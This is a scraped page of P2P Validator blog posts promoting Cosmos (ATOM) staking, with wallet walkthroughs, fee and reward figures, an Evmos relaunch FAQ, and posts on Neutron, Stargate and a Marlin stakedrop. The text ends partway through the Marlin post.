Cosmos (ATOM) Staking Guides

Cosmos How to stake Cosmos Hub (ATOM)?

Table of Contents <ul> <li><a href="#T1"> What is Cosmos Hub (ATOM) Staking? </a></li> <li><a href="#T2"> Why Stake Cosmos Hub (ATOM) with P2P Validator? </a></li> <li><a href="#T3"> Cosmos Hub (ATOM) Staking Rewards & Fees </a></li> <li><a href="#T4"> How to Track my Cosmos Hub (ATOM) Staking Rewards </a></li> <li><a href="#T5"> Cosmos Hub' (ATOM) Warm-up & Reward Distribution Frequency </a></li> <li><a href="#T6"> Re-delegate Cosmos Hub (ATOM) </a></li> <li><a href="#T7"> Cosmos Hub (ATOM) Undelegation period </a></li> <li><a href="#T8"> Cosmos Hub (ATOM) Ledger Live Staking Guide </a></li> <li><a href="#T9"> imToken Comos (ATOM) Staking Guide </a></li> <li><a href="#T10"> Keplr + Ledger Cosmos Hub (ATOM) Staking Guide </a></li> <li><a href="#T11"> Cosmos Hub (ATOM) Staking FAQ </a></li> </ul> <h2 id="what-is-cosmos-hub-atom-staking-a-namet1a">What is Cosmos Hub (ATOM) Staking? <a name="T1"></a></h2> When staking Cosmos Hub (ATOM) you are supporting the network with the additional benefit of compounding your ATOM! Staking ATOM is the process of holding ATOM "stake" to partake and support the operations in the Cosmos Hub network to receive rewards. In order to be a "Validator" and participate in these operations, one is required to maintain a server running continuously, technological knowhow, experience, and have a significant self-bond (surety bond). This is where P2P Validator comes in, we allow ATOM token holders to forget about all the heavy lifting i.e maintenance, surety bonds etc. by "delegating" their holdings to P2P to receive these rewards. We accumulate users' stake and act as a major validation node, receiving and allocating staking rewards between our users pro rata to the delegation. Users that chose to stake with P2P maintain full custody of their ATOM at all times and P2P will never have access to them. <h2 id="why-stake-cosmos-hub-atom-with-p2p-validator-a-namet2a">Why Stake Cosmos Hub (ATOM) with P2P Validator? <a name="T2"></a></h2> Every delegator is self-responsible for the financial decisions made. It is very important to choose the right validator in order to maximize your rewards. P2P Validator has been supporting the Cosmos Hub network from day one providing community building, educational materials and a solid development team. In the process, we have also set ourselves as a trusted validator for ATOM delegators. We have a highly skilled, dedicated and experienced team (proven by our victories at the Cosmos Hub Game of Stakes and Game of Zones) to handle the network operations involved in staking ATOM, promising the highest network reliability and performance to our delegators. We have a 100% uptime record and have never been slashed. We have a significant ATOM stake, further demonstrating the community's trust in our staking infrastructure. With consistency and a competitive fee, we promise to provide a high yield on your delegation. P2P Validator provides special offers for delegations over 50,000 ATOM making it one of the best places for institutional investors. You can register on our Cosmos Hub staking page or simply get in contact with us via telegram to receive these benefits. By staking ATOM with us you help secure the network and add more value to the Cosmos Hub ecosystem in the long run. If you have any concerns along the way you can get in touch with us anytime! <h2 id="cosmos-hub-atom-staking-rewards-fees-a-namet3a">Cosmos Hub (ATOM) Staking Rewards & Fees <a name="T3"></a></h2> You will be earning an estimated 19% APR when staking Cosmos Hub (ATOM) with P2P. Please keep in mind that the APR specified is approximate and changes along with network conditions. In order to run the staking infrastructure, we charge a 8% fee on your rewards. The rewards after taking the fee into consideration will therefore be 17.48% Example: I delegate 1000 ATOM to P2P Reward: 1000*19% = 190 ATOM Fee = 190*8% = 15.2 ATOM Estimated balance after 1 year = 1000+190- 15.2 = 1174.8 ATOM By simply delegating my 1000 ATOM as I hold it, I will have supported the network and earned an additional 174.8 ATOM after 1 year. Please keep in mind that the APR specified is approximate and changes along with network conditions. <h2 id="how-to-track-my-cosmos-hub-atom-staking-rewards-a-namet4a">How to Track my Cosmos Hub (ATOM) Staking Rewards <a name="T4"></a></h2> Tracking Cosmos Hub (ATOM) staking rewards is really easy when using the <a href="https://wallet.keplr.app/?ref=p2p.org">Keplr wallet</a>. On your dashboard you will be able to see the amount staked and every pending reward for each delegation you have, not only on ATOM, but for every Cosmos Hub ecosystem supported chain. <img src="https://p2p.org/economy/content/images/2022/09/1-1.png" alt="Keplr dashboard"> <h2 id="cosmos-hub-atom-warm-up-reward-distribution-frequency-a-namet5a">Cosmos Hub' (ATOM) Warm-up & Reward Distribution Frequency <a name="T5"></a></h2> Unlike most other networks, you will start receiving rewards as soon as you delegate! Cosmos Hub staking rewards are paid out in real-time, with rewards accruing approximately every 6 seconds. Your rewards will be distributed in a separate account from your delegation and are not compounded to your delegation. At any point you can decide to add them to your existing stake and start earning interest on them. The benefit of having your rewards paid out in a separate account is that they are not locked (you may withdraw them immediately) whereas it takes 21 days to unbond your delegated ATOM. <h2 id="re-delegate-cosmos-hub-atom-a-namet6a">Re-delegate Cosmos Hub (ATOM) <a name="T6"></a></h2> It is very important to choose a validator that you trust and respect. Sometimes the validator you have selected may begin to perform poorly affecting your rewards, or they change their configurations (ex: increase commissions). You may also find that you would rather support another validator that supports the ecosystem in a way that better suits your vision. With Cosmos Hub (ATOM), you have the option to instantly change your validator once every twenty-one days. If you partially re-delegate ATOM, you can re-delegate the remaining amount without the 21 day restraint. You will not lose out on any rewards while re-delegating, but you will have to pay a small transaction fee. <h2 id="cosmos-hub-atom-undelegation-period-a-namet7a">Cosmos Hub (ATOM) Undelegation period <a name="T7"></a></h2> If you wish to stop delegating all together, the Cosmos Hub network enforces a 21 day period for your ATOM to unbond. In that period, you will not be earning interest on your unbonding ATOM and will not be able to withdraw them. Be aware that you can only unbond ATOM seven times with the same validator within a twenty-one day period. <h2 id="cosmos-hub-atom-ledger-live-staking-guide-a-namet8a">Cosmos Hub (ATOM) Ledger Live Staking Guide <a name="T8"></a></h2> We have created a step-by-step guide to help you stake your Cosmos Hub (ATOM) using the Ledger Live application! How To Stake Cosmos (ATOM) with Ledger Live | P2P Validator Before you start, make sure that you: <ul> <li>Have updated Ledger live to its latest version</li> <li>Download the latest version of the Cosmos Hub App</li> <li>Add an ATOM account. Learn more</li> <li>Add ATOM to your account</li> </ul> Getting started: Go to your accounts and select the one you wish to stake from. <img src="https://p2p.org/economy/content/images/2022/09/2.png" alt="Select account"> At the bottom of the page you will see a section named "nominations". Here click on the button "Earn rewards": <img src="https://p2p.org/economy/content/images/2022/09/3.png" alt="Nominations"> A new window will pop-up detailing information regarding the delegation process. After reading, press "Continue": <img src="https://p2p.org/economy/content/images/2022/09/4.png" alt="Earn Rewards"> Search for P2P validator from the list of validators. Input the amount you wish to stake and press "Continue": <img src="https://p2p.org/economy/content/images/2022/09/5.png" alt="Choose Validator"> You will be prompted to confirm the delegation on your ledger device. Please note that the Cosmos Hub APP must be open before proceeding. <img src="https://p2p.org/economy/content/images/2022/09/6.png" alt="Confirm delegation"> You should now receive a confirmation message on your ledger live. That's it, your stake will activate and you'll start earning rewards immediately! Note that you will have to claim your rewards manually, which can either be added to your stake or to your available balances. <h2 id="imtoken-comos-atom-staking-guide-a-namet9a">imToken Comos (ATOM) Staking Guide <a name="T9"></a></h2>  <iframe width="720" height="405" src="https://www.youtube.com/embed/vS7YfHawhGc" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> <h2 id="keplr-ledger-cosmos-hub-atom-staking-guide-a-namet10a">Keplr + Ledger Cosmos Hub (ATOM) Staking Guide <a name="T10"></a></h2> This <a href="https://p2p.org/economy/p/d7bb9334-8989-4299-a16d-02e52d6f26b7/">tutorial</a> helps you stake and manage <a href="https://coinmarketcap.com/currencies/cosmos/?ref=p2p.org">ATOM</a> tokens on the <a href="https://p2p.org/networks/cosmos?ref=p2p.org">Cosmos</a> blockchain, using both the <a href="https://www.keplr.app/?ref=p2p.org">Keplr</a> Browser Extension and Web Wallet together with your favorite <a href="https://www.ledger.com/?ref=p2p.org">Ledger</a> device. <iframe width="720" height="405" src="https://www.youtube.com/embed/_2uJZJ7BqYg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> <h2 id="cosmos-hub-atom-staking-faq-a-namet11a">Cosmos Hub (ATOM) Staking FAQ <a name="T11"></a></h2> <h3 id="what-is-cosmos-hub">What is Cosmos Hub?</h3> Cosmos Hub is a decentralized network of independent, scalable, and interoperable blockchains. <h3 id="what-is-the-cosmos-hub-staking-apr">What is the Cosmos Hub staking APR?</h3> The Cosmos Hub staking reward is approximately 16.1%. More info here. <h3 id="how-often-are-staking-rewards-distributed">How often are staking rewards distributed?</h3> Cosmos Hub staking rewards are paid out in real-time, with rewards accruing approximately every 7 seconds. More info here. <h3 id="is-there-an-unstaking-period">Is there an unstaking period?</h3> The Cosmos Hub network has a 21 day unstaking period throughout which your tokens will not be transferable. More info here. <h3 id="is-there-a-slashing-risk-for-validators">Is there a slashing risk for validators?</h3> Cosmos Hub network does have slashing risk for delegators. <h3 id="is-there-a-minimum-staking-amount-for-cosmos-hub">Is there a minimum staking amount for Cosmos Hub?</h3> There is no minimum staking amount for staking ATOM. <h3 id="do-staking-rewards-compound">Do staking rewards compound?</h3> No, staking rewards must be claimed by the user manually and delegated to achieve compounding effect. <h3 id="what-is-the-cosmos-hub-inflation-rate">What is the Cosmos Hub inflation rate?</h3> The Cosmos Hub network inflation rate is approximately 7% per year.

P2P Validator

from p2p validator

Cosmos Introducing Neutron

<h3 id="p2p-is-building-neutron-a-permission-less-zone-featuring-cosmwasm-and-full-ibc-capability-including-interchain-accounts-and-queries-to-host-the-interchain%E2%80%99s-infrastructure-and-defi-protocols-neutron-is-proposed-to-launch-as-a-consumer-chain-secured-by-the-cosmos-hub">P2P is building Neutron, a permission-less zone featuring CosmWasm and full IBC capability (including Interchain Accounts and Queries) to host the Interchain’s infrastructure and DeFi protocols. Neutron is proposed to launch as a Consumer-Chain secured by the Cosmos Hub.</h3> The vision of an ecosystem of the sovereign, interconnected blockchains is coming to life. As the technology underpinning Cosmos matures, adoption is picking up: a recent example, dYdX, a major Ethereum Perp-Trading protocol, announced it was moving to a custom App-Chain to provide better order book trading services to its users.Not all protocols need the same degree of customization as dYdX does, though, and most would rather avoid the overhead associated with the construction of a generic zone. For these protocols, there needs to be a secure, well-connected CosmWasm hub where to deploy.Currently, such a zone does not exist: no chain is as secure as the Cosmos Hub, and Proposal 69 showed the community’s preference for virtual machines to be released on Consumer-Chains, rather than the Hub itself.Today, we are proud to announce we are making the Cosmonauts’ vision a reality: Introducing Neutron, a permission-less, Interchain-Secured CosmWasm smart-contracting environment for the Interchain. <h3 id="what-is-neutron">What is Neutron?</h3>Neutron is designed to be the premier venue for Interchain Smart-Contract deployment:Built with the Cosmos SDK, Neutron features native support for CosmWasm, a virtual machine that allows smart contracts written in Rust, AssemblyScript and other coding languages to run on Cosmos blockchains. The resulting smart-contracts have significant benefits over the release of code into an Appchain’s binary: they benefit from a large library of testing tools, are easier to deploy and upgrade, and can be audited more efficiently.To protect its ecosystem from the get go, Neutron would be secured by 175 validators and roughly 186M staked ATOM, worth $1.5Bn at the time of writing. This is made possible by a technology called Interchain Security, which lets validators from a Provider-Chain (e.g. the Cosmos Hub) produce blocks for a Consumer-Chain (e.g. Neutron). Node operators are rewarded with additional native tokens, but can be sanctioned if they fail to validate the Consumer-Chain. In a nutshell, Interchain Security would provide Neutron with the same degree of security as the Cosmos Hub, the 10th largest blockchain by value staked.Neutron is Interchain-oriented: it supports the Inter-Blockchain Communication protocol (IBC), Interchain Accounts (ICA), as well as Interchain Queries (ICQ), at launch. Initially, Interchain Queries will be provided by a custom implementation developed by P2P, and upgraded to the official release once it is available. This allows any protocol deploying on Neutron to effortlessly communicate with the rest of IBC, and enables complex operations such as interchain liquid staking or cross-chain collateralization.Last but not least, Neutron is permission-less: it is an open platform where anyone can deploy code to join the Interchain’s economy. Neutron is a neutral foundation on which anything can be built. It does not presume the worth of a project, and does not favor the interests of a protocol over that of another. Neutron is a public-good, owned by the community, by its users. <h3 id="what-is-p2p">What is P2P?</h3><a href="https://p2p.org/?ref=p2p.org">P2P</a> is a professional validator and a non-custodial staking provider which secures more than $1.5Bn in assets across the industry.A long-term contributor to the Cosmos ecosystem, P2P has been securing the Cosmos Hub since genesis. It participated in the ATOM fundraiser and regularly open-sources its tooling.At P2P, we have a strong conviction in the Interchain’s vision, which is why we help secure sixteen Cosmos networks, including Kava, Agoric, Evmos, Oasis and others.P2P is an established player with valuable relationships across the DeFi industry: we see the need for a secure, permission-less, well-connected and reliable smart-contract platform. So, we built Neutron.Over the coming weeks and months, we will be sharing more details about Neutron. The future of the Interchain is bright, let’s build it together: join the conversation over on the <a href="https://forum.cosmos.network/t/proposal-bringing-liquid-staking-and-defi-to-the-cosmos-hub-with-interchain-security/?ref=p2p.org">Cosmos Forum</a>.

P2P Validator

from p2p validator

Evmos, Cosmos Evmos Relaunch Frequently Asked Questions

We love to see the excitement surrounding the EVMOS relaunch! We want to make sure that all participants are clear of any doubts during this event so we have gone through the forums and community channels and collected the most commonly asked questions and answered them below. Before we begin, here is the Evmos relaunch rollout plan (estimated timeline): <div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">💡</div><div class="kg-callout-text">Phase 1 (day 1): ✅ Evmos enabled ❌ Airdrop disabled ❌ Staking rewards disabled ❌ IBC transactions (e.g. to/from Cosmos and Osmosis) disabled Phase 2 (day 3-4): ✅ Evmos enabled ✅ Airdrop enabled ❌ Staking rewards disabled ❌ IBC transactions (e.g. to/from Cosmos and Osmosis) disabled Phase 3 (at minimum 5-6 days after relaunch) ✅ Evmos enabled ✅ Airdrop enabled ✅ Staking rewards enabled ✅ IBC transactions (e.g. to/from Cosmos and Osmosis) enabled</div></div><h2 id="faq">FAQ </h2>Q: When will mainnet be relaunched?A: Mainnet will restart on the 27 April 2022, and will continue off at block 58700.Q: If I claimed and/or staked before mainnet failure do I have to do it again?A: No you will not have to. The chain will continue as it was one block before the mainnet failure.Q: What about the remaining 25% to claim?A: You will be able to claim the remaining 25% once IBC transactions are enabled in PHASE 3, at minimum 5-6 days after relaunch.Q: When will claiming and staking features be enabled?A: Staking will be enabled at the same time as relaunch, on the 27th of April. Note that staking rewards will be enabled in Phase 3, at minimum 5-6 days after relaunch. Claiming the airdrop will not be live until Phase 2 (3-4 days after the relaunch). Q: When will staking rewards be enabled?A: In the spirit of fairness, rewards will be disabled until Phase 3, at minimum 5-6 days after relaunch to give everyone a fair chance to claim.Q: Who is eligible to claim?A: If you staked OSMO, or ATOM, or paid gas on top dApps on Etherium before Nov 26th 2021, you are likely to be eligible for Evmos airdrop. You can find more information on eligibility in the following article under “<a href="https://evmos.blog/the-evmos-rektdrop-abbe931ba823?ref=p2p.org">Rektdrop Eligibility</a>”. Q: What wallets can be used to claim and stake my EVMOS?A: Currently only Metamask. To claim on Keplr we hav to wait for IBC transfers to be enabled. Ledger connections will work very soon too. Staking rewards are disabled until everyone has a fair chance to claim. Q: Where and how do I claim my tokens?A: An updated guide will be provided shortly after relaunch.Q: How long do I have to claim my EVMOS tokens?A: There is no timeline yet.Q: What happened during the mainnet failure?A: The Evmos team found a critical security vulnerability that required a quick upgrade. This upgrade was ill-tested and caused several double-signing errors requiring the chain to be halted to solve the issue.Q: Can I buy Evmos?A: There currently is no exchange to purchase EVMOS, however it is estimated that a Evmos DEXs will be set shortly after mainnet. Later we may also see exchange services provided by Osmosis zone, Diffusion Finance, Cronus Finance, Exswap, Evmoswap... Look out for the one with the most liquidity. One of them will probably win the race and become the dominant DEXQ: Can I transfer my Evmos?A: Yes, once the chain is relaunched transfers will work within Evmos. IBCs will be enabled soon after the relaunch.Q: What dapps are built on Evmos?A: You can find a list of dapps coming to Evmos <a href="https://github.com/tharsis/awesome?ref=p2p.org">here</a>.Q: What is Diffusion?A: <a href="https://chaindebrief.com/all-you-need-to-know-about-diffusion-finance/?ref=p2p.org">Diffusion Finance</a> is a Uniswap V2 fork, one of the first AMMs for Evmos — an EVM that leverages the Cosmos SDK enabling use cases around composability, interoperability and fast finality.Q: How to access to Testnet?A: Tech doc to set up the node: <a href="https://evmos.dev/testnet/join.html?ref=p2p.org">https://evmos.dev/testnet/join.html</a>. Instructions to get some tokens: <a href="https://evmos.dev/testnet/faucet.html?ref=p2p.org">https://evmos.dev/testnet/faucet.html</a>Q: Where can I find Evmos official announcements?A: You can follow Evmos Official announcements on their <a href="https://twitter.com/EvmosOrg?ref=p2p.org">Twitter</a>, <a href="https://t.me/EvmosAnnouncements?ref=p2p.org">Telegram</a>, or <a href="https://discord.com/invite/spqPzhHT?ref=p2p.org">Discord</a>. <hr><h3 id="about-p2p-validator">About P2P Validator</h3><a href="https://p2p.org/?ref=p2p.org">P2P Validator</a> is a world-leading staking provider with the best industry security practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only high class staking opportunities. At the time of the latest update, more than 2.9 billion of USD value is staked with P2P Validator by over 25,000 delegators across 25+ networks.Want to stake EVMOS with us? Visit <a href="https://p2p.org/evmos?ref=p2p.org">https://p2p.org/evmos</a> to find out more about Evmos staking.If you have any questions, feel free to join our<a href="https://t.me/P2Pstaking?ref=p2p.org"> Telegram chat</a>, we are always open for communication.

Admin

from p2p validator

Cosmos Cosmos ATOM Staking Guide [Keplr + Ledger]

This tutorial helps you stake and manage <a href="https://coinmarketcap.com/currencies/cosmos/?ref=p2p.org">ATOM</a> tokens on the <a href="https://p2p.org/cosmos?ref=p2p.org">Cosmos</a> blockchain, using both the <a href="https://keplr.app/?ref=p2p.org">Keplr</a> Browser Extension and Web Wallet together with your favorite <a href="https://www.ledger.com/?ref=p2p.org">Ledger</a> device.<h3 id="this-guide-will-help-you">This guide will help you</h3><ol><li>Set up your Keplr Wallet.</li><li>Stake ATOMs on the Cosmos blockchain to earn ATOM staking rewards.</li><li>Manage your Cosmos ATOM stake and grow your portfolio</li></ol><h3 id="before-you-start-">Before you start:</h3><ul><li>Download and install the newest version of <a href="https://www.ledger.com/ledger-live/download?ref=p2p.org">Ledger Live</a> on your desktop machine.</li><li>Update your <a href="https://support.ledger.com/hc/en-us/articles/360002731113-Update-Ledger-Nano-S-firmware?ref=p2p.org">Ledger</a> device to the newest firmware.</li><li>Install the latest version of the Cosmos App on your Ledger device. </li></ul>See below for a step-by-step guide. <h3 id="i-setting-up-your-keplr-wallet">I. Setting up your Keplr Wallet</h3><ol><li>Open the Keplr Browser Extension (available for <a href="https://chrome.google.com/webstore/detail/keplr/dmkamcknogkgcdfhhbddcghachkejeap?ref=p2p.org">Chrome and Brave</a>) and press ‘Import Ledger’.</li></ol><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2021/02/image-1.png" class="kg-image" alt loading="lazy" width="384" height="455"></figure>2. Give the account a name, then click ‘Next’.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2021/02/image-2.png" class="kg-image" alt loading="lazy" width="384" height="455"></figure>3. Plug in and unlock your Ledger device. Open the Cosmos app and click ‘Next’.4. Your Keplr account is successfully connected to your Ledger device.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2021/02/image-3.png" class="kg-image" alt loading="lazy" width="384" height="556"></figure>Now let's start staking! <h3 id="ii-staking-atom-on-the-cosmos-blockchain">II. Staking ATOM on the Cosmos blockchain</h3><ol><li>Open the Keplr Browser Extension and choose your Ledger account (via the ‘human icon’).</li><li>Copy your address by clicking ‘Deposit’ first, then fund your account with ATOM.</li><li>Once you have a balance, you can proceed with the ‘<a href="https://wallet.keplr.app/?ref=p2p.org#/cosmoshub-4/stake">Stake</a>’ option.</li></ol><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2021/02/image-4.png" class="kg-image" alt loading="lazy" width="904" height="282" srcset="https://p2p.org/economy/content/images/size/w600/2021/02/image-4.png 600w, https://p2p.org/economy/content/images/2021/02/image-4.png 904w" sizes="(min-width: 720px) 720px"></figure>4. Choose your validator (P2P.ORG - P2P Validator) then click ‘Manage’ and ‘Delegate’ in the next picture.5. Choose the amount of ATOMs you want to stake and click ‘Delegate’.<figure class="kg-card kg-gallery-card kg-width-wide"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="https://p2p.org/economy/content/images/2021/02/image-5-1.png" width="392" height="357" loading="lazy" alt></div><div class="kg-gallery-image"><img src="https://p2p.org/economy/content/images/2021/02/image-6.png" width="392" height="357" loading="lazy" alt></div></div></div></figure>6. Set your preferred fee (there are three options available) by hitting ‘Set Fee’.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2021/02/image-7.png" class="kg-image" alt loading="lazy" width="304" height="474"></figure>7. In the following window, double-check the amount you are going to delegate as well as the P2P Validators’ address (you can see the first and last few digits only).<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2021/02/image-8.png" class="kg-image" alt loading="lazy" width="304" height="470"></figure>8. Check the information on your Ledger device and click ‘Approve’ on it.9. Use the Dashboard within the <a href="https://wallet.keplr.app/?ref=p2p.org#/cosmoshub-4/stake">Keplr Web Wallet</a> or <a href="https://www.mintscan.io/cosmos?ref=p2p.org">Mintscan</a>, one of the popular block-explorers, to see whether your delegation was successful. <div class="address-card"> P2P Validator’s Cosmos address: cosmosvaloper132juzk0gdmwuxvx4phug7m3ymyatxlh9734g4w </div> Now let’s try to manage your staking assets. <h2 id="iii-managing-your-cosmos-stake">III. Managing your Cosmos stake</h2><h3 id="claim-your-atom-staking-rewards">Claim your ATOM staking rewards</h3><ol><li>Open the Keplr Browser Extension and click ‘Claim’.</li><li>Choose your comfortable fee by hitting ‘Set Fee’ in the appropriate pop-up screen.</li><li>Plug in your Ledger device, unlock, and open the Cosmos app on it, then click ‘Next’ in the Browser Extension pop-up.</li><li>Review the transaction on your Ledger device and confirm it by hitting the two buttons on your hard wallet.</li></ol><h3 id="compound-your-atom-staking-rewards-to-increase-your-return">Compound your ATOM staking rewards to increase your return</h3><ol><li>Open the Keplr Web Wallet and, find your validator (P2P Validator) in the Staking Menu, click ‘Manage’ and then ‘Delegate’.</li><li>Choose the fees in the subsequent pop-up, hit ‘Set Fee’.</li><li>Plug in your Ledger device, unlock, and open the Cosmos app on it, then click ‘Next’ in the Browser Extension pop-up.</li><li>Review and sign transaction by hitting ‘Approve’ on your Ledger device.</li></ol> <div class="note-card"> Cosmos (ATOM) Staking FAQ: <ul> <li>The current ATOM staking APY is approximately 10.60% per year.</li> <li>You need to have some funds remaining on your account while staking to ensure you can cover transaction fees.</li> <li>Claiming rewards is a manually process which involves transaction fees.</li> <li>Cosmos staking rewards are paid out in real-time, with rewards accruing approximately every 7 seconds.</li> <li>The Cosmos network has a 21 day unstaking period throughout which your tokens will not be transferable.</li> </ul> </div> That’s it.Now you know how to delegate and compound your Cosmos staking rewards using both the Keplr Browser Extension and the Keplr Web Wallet together with your Ledger device.If any questions arise, whether on <a href="https://p2p.org/cosmos?ref=p2p.org">Cosmos staking</a> or not, feel free to contact us via <a href="https://twitter.com/p2pvalidator?ref=p2p.org">Twitter</a>, <a href="https://t.me/P2Pstaking?ref=p2p.org">Telegram</a>, <a href="https://www.linkedin.com/company/p2p-org/?ref=p2p.org">LinkedIn</a>, or <a href="https://p2p.org/?ref=p2p.org#contact-us">email</a>. About P2P Validator <a href="https://p2p.org/?ref=p2p.org">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only high class staking opportunities securing more than 3 billion of USD value at the time of the latest update.P2P Validator is trusted by over 24,000 delegators across 25+ networks. We are a major player in all networks we support because of our experience, commitments and our reputation. We pay special attention to the process of governance.

Admin

from p2p validator

Cosmos Stargate and the new beginning of Cosmos

We have voted YES to initiate the Stargate upgrade for the Cosmos Hub. We believe in the potential of the Cosmos ecosystem to grow and that<a href="https://stargate.cosmos.network/?ref=p2p.org"> Stargate</a> opens a new page of ecosystem evolution being a huge step towards the original Internet of Blockchains vision.By being an active contributor to the Cosmos ecosystem, P2P has built the dashboard to track delegation history across all the hub versions and claim rewards - a ledger delegation interface to securely stake in three simple steps. We participated in<a href="https://cosmos.network/goz?ref=p2p.org"> Game of Zones</a> to test IBC in action and won the first prize in two phases. Our validator has taken part in a series of<a href="https://github.com/cosmosdevs/stargate?ref=p2p.org#testnet"> testnets</a> since the beginning to prepare.<a href="https://stargate.cosmos.network/?ref=p2p.org">Stargate</a> is the largest upgrade in the Cosmos ecosystem due date. What does it mean for the Cosmos network?<h3 id="road-to-million-blockchains">Road to million blockchains</h3>The current state of the ecosystem can be compared to the cities of a country struggling to communicate without capital and financial centers to connect them with each other. With the enablement of<a href="https://github.com/cosmos/ics/blob/master/papers/2020-05/build/paper.pdf?ref=p2p.org"> Inter-Blockchain Communication</a> (IBC) the value can be seamlessly transferred across the ecosystem unleashing the synergetic effect among application-specific blockchains. Cosmos Hub will become the first intermedium to connect them with each other.The real long term challenge is to attract more builders and projects to the ecosystem to increase the cumulative value flow within the network. Notable improvements in performance and migration to<a href="https://medium.com/tendermint/tendermint-0-34-protocol-buffers-and-you-8c40558939ae?ref=p2p.org"> Protobuf</a> blockchains will implement the upgrade to achieve higher throughput to handle the rising transaction volume. The ability to interoperate will bring composability to the ecosystem, with Protobuf it will be much easier for developers using various programming languages to communicate within the ecosystem and create novel applications.In synergy with tools like<a href="https://github.com/tendermint/starport?ref=p2p.org"> Starport</a> that allow developers to launch blockchains with a few commands and further coordinate the testnets with validators much faster, we can imagine the emergence of novel use cases and accelerated growth in areas like Decentralized Finance (DeFi) and Collectible economies powered by Non-Fungible Tokens (NFT).<h3 id="road-to-stargate-and-ibc">Road to Stargate and IBC</h3>Secure connection between blockchains requires trust in validators maintaining the actual state of the network. The Game-of-Stakes attracted and prepared solid staking providers and in March of 2019 Cosmos Hub was successfully launched on mainnet. There were two major upgrades, for the first year the focus was to battle-test staking, on-chain governance and provide a stable functioning network with a strong set of contributors.Game of Stakes granted validators experience to be flexible to changing network conditions and on the 1st of May 2020 another incentivized competition called<a href="https://cosmos.network/goz?ref=p2p.org"> Game of Zones</a> was launched to collect valuable data and prepare teams for the release of the IBC module. There were more than 150 participants.IBC has been in development since the release of the original Cosmos whitepaper - ongoing work to prepare and release the first version of the <a href="https://github.com/cosmos/ics/blob/master/spec.pdf?ref=p2p.org">IBC specification</a> that outlines the overall design logic and architectural overview.The plan of transition from hub-3 to hub-4 was outlined in the<a href="https://www.mintscan.io/cosmos/proposals/27?ref=p2p.org"> Stargate proposal</a>. It was followed up with a<a href="https://stargate.cosmos.network/?ref=p2p.org"> series of testnets</a> to examine the main features and ensure that the ecosystem participants are prepared for software changes being in line with the upgrade procedure.On December 15th the finalized<a href="https://blog.cosmos.network/announcing-the-ibc-1-0-implementation-release-candidate-29f3245d7848?ref=p2p.org"> version 1.0 of the IBC candidate</a> was announced. Multiple teams and contributors were involved in the process of improving, testing and finding bugs.And now we have come to the point to finally bring the original vision of interoperability to the Cosmos network.<h3 id="what-to-expect-after-the-stargate-upgrade">What to expect after the Stargate upgrade?</h3>The rollout will happen in two phases as happened with with the launch of the Cosmos Hub on mainnet. During the first phase cross-chain transfers will be disabled to ensure the network is stable. Activation of the token transfer protocol will happen via on-chain governance. A proposal with parameter changes and timelines will be submitted and if passed we can utilize a fully functioning TCP/IP for blockchains in production.With the enablement of the IBC, healthy competition among hubs can drive the development of the whole ecosystem. Novel use cases like liquidity mining over IBC can become a reality. New projects will be able to easily attract validators from the hub and ATOM will play the role of insurance against misbehavior providing strong security guarantees for new projects in the Cosmos network. Another interesting utility is that ATOM might be able to accrue fees in whitelisted tokens.The IBC is still in its early days and adoption will take some time. Cosmos has made huge progress in these two years and P2P is proud to be part of it as a validator and contributor from the very beginning of the journey.<h3 id="about-p2p-validator">About P2P Validator</h3>P2P Validator is a world-leading non-custodial staking provider securing more than $3 billion from over 10,00 delegators across 25+ high-class networks. We are early ATOM investors and Game of Zones winners. P2P has supported Cosmos Hub from the first block taking part in all stages of testing and voting.<hr>Web: <a href="https://p2p.org/?ref=p2p.org">https://p2p.org</a> Stake ATOM with us: <a href="https://p2p.org/cosmos?ref=p2p.org">https://p2p.org/cosmos</a> Twitter: @p2pvalidator Telegram: <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a>

Alex Bondar

from p2p validator

Marlin, Cosmos, Polkadot Stake with P2P and earn POND with the FlowMint Stakedrop

The Marlin network has announced the launch of FlowMint Stakedrop - a distribution method for the networks native POND tokens amongst delegators staking DOT, ATOM, NEAR and IRIS. All delegators staking these tokens with P2P Validator will be able to participate in the Marlin FlowMint Stakedrop to earn extra POND tokens.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/12/02--1-.png" class="kg-image" alt loading="lazy" width="1280" height="720" srcset="https://p2p.org/economy/content/images/size/w600/2020/12/02--1-.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/12/02--1-.png 1000w, https://p2p.org/economy/content/images/2020/12/02--1-.png 1280w" sizes="(min-width: 720px) 720px"></figure>It is expected that 20% of Marlin's POND tokens will be distributed daily pro-rata amongst participants who are currently staking their digital assets.<h3 id="the-marlin-network">The Marlin Network</h3>Marlin is a layer-0 protocol focused on network-layer performance, security and robustness. It speeds up block propagation of existing blockchains to enable higher throughput. Marlin nodes compete with one another to transmit blocks from producers to receivers of various blockchains. The Marlin protocol bridges the gap between the performance and scale achieved by web2 and the security and decentralization demanded by web3.Marlin Protocol has reeled in a $3 million seed round from Binance Labs, Arrington XRP, Electric Capital, NGC and other investors.<h3 id="how-to-get-pond-tokens">How To Get POND Tokens</h3>To receive the tokens, P2P delegators will have to link their staking address in Polkadot, Cosmos, Near Protocol, Irisnet, and the ETH address where the POND tokens will be transferred after confirmation of operations.Detailed instructions can be found below:<ul><li><a href="https://www.marlin.pro/blog/participating-in-marlin-flowmint-as-a-polkadot-delegator-and-validator/?ref=p2p.org">Participating in Marlin FlowMint as a Polkadot delegator</a></li><li><a 